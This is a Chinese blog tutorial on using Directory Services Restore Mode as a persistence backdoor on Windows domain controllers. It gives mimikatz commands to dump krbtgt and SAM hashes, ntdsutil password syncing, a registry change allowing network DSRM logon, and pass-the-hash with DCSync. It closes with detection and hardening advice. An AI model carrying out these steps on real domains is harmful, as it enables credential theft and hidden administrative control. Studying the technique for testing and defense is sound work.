• 目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。
  • DSRM用途:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM 的密码需要在安装 DC 时设置,且很少会被重置。修改 DSRM 密码最基本的方法是在 DC 上运行ntdsutil 命令行修改。
  • 在渗透测试: 可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。
  • 每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

1 修改 DSRM 密码

# Win08(已安装KB961320)及以上,可以将 DSRM 密码同步为已存在的域账号密码。
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account domainusername:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil # 补充,直接修改 DSRM密码
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
reset password on server null:在当前域控制器上恢复 DSRM 密码
<PASSWORD>:修改后的密码
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil

2 DSRM 域后门操作过程

  1. 获取 krbtgt 的 NTLM hash

    # 域控制器中使用mimikatz查看 krbtgt 的 NTLM hash
    privilege::debug
    lsadump::lsa /patch /name:krbtgt # 得到NTLM : fa02a0e57e5ba9189d00990ae64e87ce
  2. 查看同步前与同步后 DSRM 账号的 NTLM hash

    # 查看同步前 DSRM 账号的 NTLM hash
    token::elevate
    lsadump::sam # 将 DSRM 账号和 krbtgt 的 NTLM Hash 同步
    NTDSUTIL
    set DSRM password
    sync from domain account krbtgt # 查看同步后 DSRM 账号的 NTLM hash
    lsadump::sam

  3. 修改 DSRM 的登录方式

    DSRM有三种登录方式,具体如下:

    • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
    • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
    • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
    • 在 Windows 对 DSRM 使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。
    New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
  4. 利用 mimikatz 使用 DSRM 账号通过网络远程登录域控制器

    # 在域成员机器的管理员(如本地管理员)模式下打开 mimikatz
    privilege::debug
    # 注意:此处的 /domain 的值为域控制器的主机名
    sekurlsa::pth /domain:dc /user:administrator /ntlm:fa02a0e57e5ba9189d00990ae64e87ce # Hash 传递完成后,在弹出的命令行窗口中打开mimikatz,使用 dcsync 功能远程转储 hash。
    lsadump::dcsync /domain:test.lab /dc:dc /user:krbtgt dir \\dc\c$

3 DSRM 域后门防御

  1. 定期检测注册表中用于控制 DSRM 登录方式的键值 hklm:\system\currentcontrolset\control\lsa\dsrmadminlogonbehavior ,确认该键值为 1。或者删除该键值。
  2. 定期修改域中所有域控制器的 DSRM 密码。
  3. 经常检查 ID 为 4794 的日志,尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

权限维持之:DSRM 域控权限维持的更多相关文章

  1. 域控权限提升PTH攻击

    0x01 漏洞利用条件 1.被pth攻击的计算机未打补丁(KB2871997)2.拿到一台域成员主机并且拿到管理员组的域用户的NTML 3.对方主机存在相同账号并且是管理员组成员 0x02 本地用户N ...

  2. 【转帖】Linux mount 域控权限的共享目录

    https://www.linuxidc.com/Linux/2012-09/71388.htm 之前一直以为没法 映射 home 域的内容 其实还有一个地方.. 注意 空格的话 需要用 \ 进行转移 ...

  3. 一次完整的从webshell到域控的探索之路

    前言 内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里. 于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求. 今天小菜我本着所有师傅们无私分享的精 ...

  4. 【域控日志分析篇】CVE-2020-1472-微软NetLogon权限提升-执行Exp后域控日志分析与事件ID抓取

    前言:漏洞复现篇见:https://www.cnblogs.com/huaflwr/p/13697044.html 本文承接上一篇,简单过滤NetLogon漏洞被利用后,域控上的安全及系统日志上可能需 ...

  5. Active Directory中获取域管理员权限的攻击方法

    Active Directory中获取域管理员权限的攻击方法         译:by  backlion 0x00 前言 攻击者可以通过多种方式在Active Directory中获得域管理员权限, ...

  6. 【漏洞复现篇】CVE-2020-1472-微软NetLogon权限提升-手把手教学-简单域环境搭建与Exp执行

    一.漏洞简介 NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务.最常用于让用户使用 NTLM 协议登录服务器,也用于 NTP 响应认

  7. 从0开始搭建SQL Server AlwaysOn 第一篇(配置域控)

    从0开始搭建SQL Server AlwaysOn 第一篇(配置域控) 第一篇http://www.cnblogs.com/lyhabc/p/4678330.html第二篇http://www.cnb ...

  8. (转)从0开始搭建SQL Server AlwaysOn 第一篇(配置域控+域用户DCADMIN)

    原文地址: http://www.cnblogs.com/lyhabc/p/4678330.html 实验环境: 准备工作 软件准备 (1) SQL Server 2012 (2) Windows S ...

  9. office web apps 部署-搭建域控服务器

    开始第一条先说注意事项:我所配置的环境是用了三台2012server虚拟机,三台虚拟机必须要加下域控,而且登录操作的时候必须以域账号登录,否则测试不通过!在笔记本上搭建了两个虚拟机(window se ...

  10. (转载) 从0开始搭建SQL Server AlwaysOn 第一篇(配置域控)

    安装完之后别忘了还需要安装SSMS,这是坑爹的地方之二,干嘛不集成到SQL Server安装包里还要用户自己单独下载 下载地址:https://msdn.microsoft.com/en-us/lib ...

随机推荐

  1. day17 MySQL的安装 & 数据库基本语法——增删改查

    day17 MySQL 登录数据库 mysql -h localhost -P 3307 -u root -p 查看所有数据库 show databases; 退出数据库 exit; //现有表格 u ...

  2. 【实时数仓】Day01-数据采集层:数仓分层、实时需求、架构分析、日志数据采集(采集到指定topic和落盘)、业务数据采集(MySQL-kafka)、Nginx反向代理、Maxwell、Canel

    一.数仓分层介绍 1.实时计算与实时数仓 实时计算实时性高,但无中间结果,导致复用性差 实时数仓基于数据仓库,对数据处理规划.分层,目的是提高数据的复用性 2.电商数仓的分层 ODS:原始日志数据和业 ...

  3. socet网络编程

    一. 网络模型 应用层   -----     HTTP协议 传输层   -----     TCP协议 网络层   -----       IP协议 链路层   -----     以太网协议 二. ...

  4. Java程序员除了做增删改查还能干嘛?

    就以Java后端开发为例,说说不同级别程序员干的事情. 1 初级开发,大概是有3年Java开发经验. 22年底,上海,这批程序员如果学历是本科,薪资一般是8k到2w,当然如果能进好公司或互联网大厂,薪 ...

  5. 【Java面试指北】反射(1) 初识反射

    如果你被问到:什么是反射?为什么需要反射.以及反射的应用?你会如何回答呢? 本篇会带大家初识反射,了解反射概念和基本应用.反射的原理以及深入源码的探究将会在后面几篇介绍. 一.什么是反射? 要理解什么 ...

  6. 用 while 生成猜数字

    import java.util.Random; import java.util.Scanner; public class zy2 { public static void main(String ...

  7. last-child可能你也会踩的坑

    旧文章从语雀迁移过来,原日期为2021-07-14 问题 当时写在写一个列表,列表每一项需要下面加下划线,最后一项不加下划线.第一时间,想到使用 :``last-child 这个伪类来实现. 当时的代 ...

  8. 贪心算法Dijkstra

    Dijkstra 最短路径问题 : 给定一个带权有向图 G = (V, E, W),同时给定一个源点 u (u ∈ V),我们要找出从源点 u 出发到其它各点的最短路径距离,并得出这些最短路径的具体路 ...

  9. Java进阶篇——springboot2源码探究

    1.@EnableAutoConfiguration 除了元注解之外,EnableAutoConfiguration包含了两大重要部分: 1)@AutoConfigurationPackage注解 该 ...

  10. 聚合查询、分组查询、ORM中如何给表再次添加新的字段、F与Q查询、ORM查询优化、ORM事务操作、ORM常用字段类型、ORM常用字段参数、Ajax、数据编码格式(Content-Type)、ajax携带文件数据

    今日内容 聚合查询 在ORM中支持单独使用聚合函数,需要使用aggregate方法. 聚合函数:Max最大.Min最小.Sum总和.Avg平均.count统计 from django.db.model ...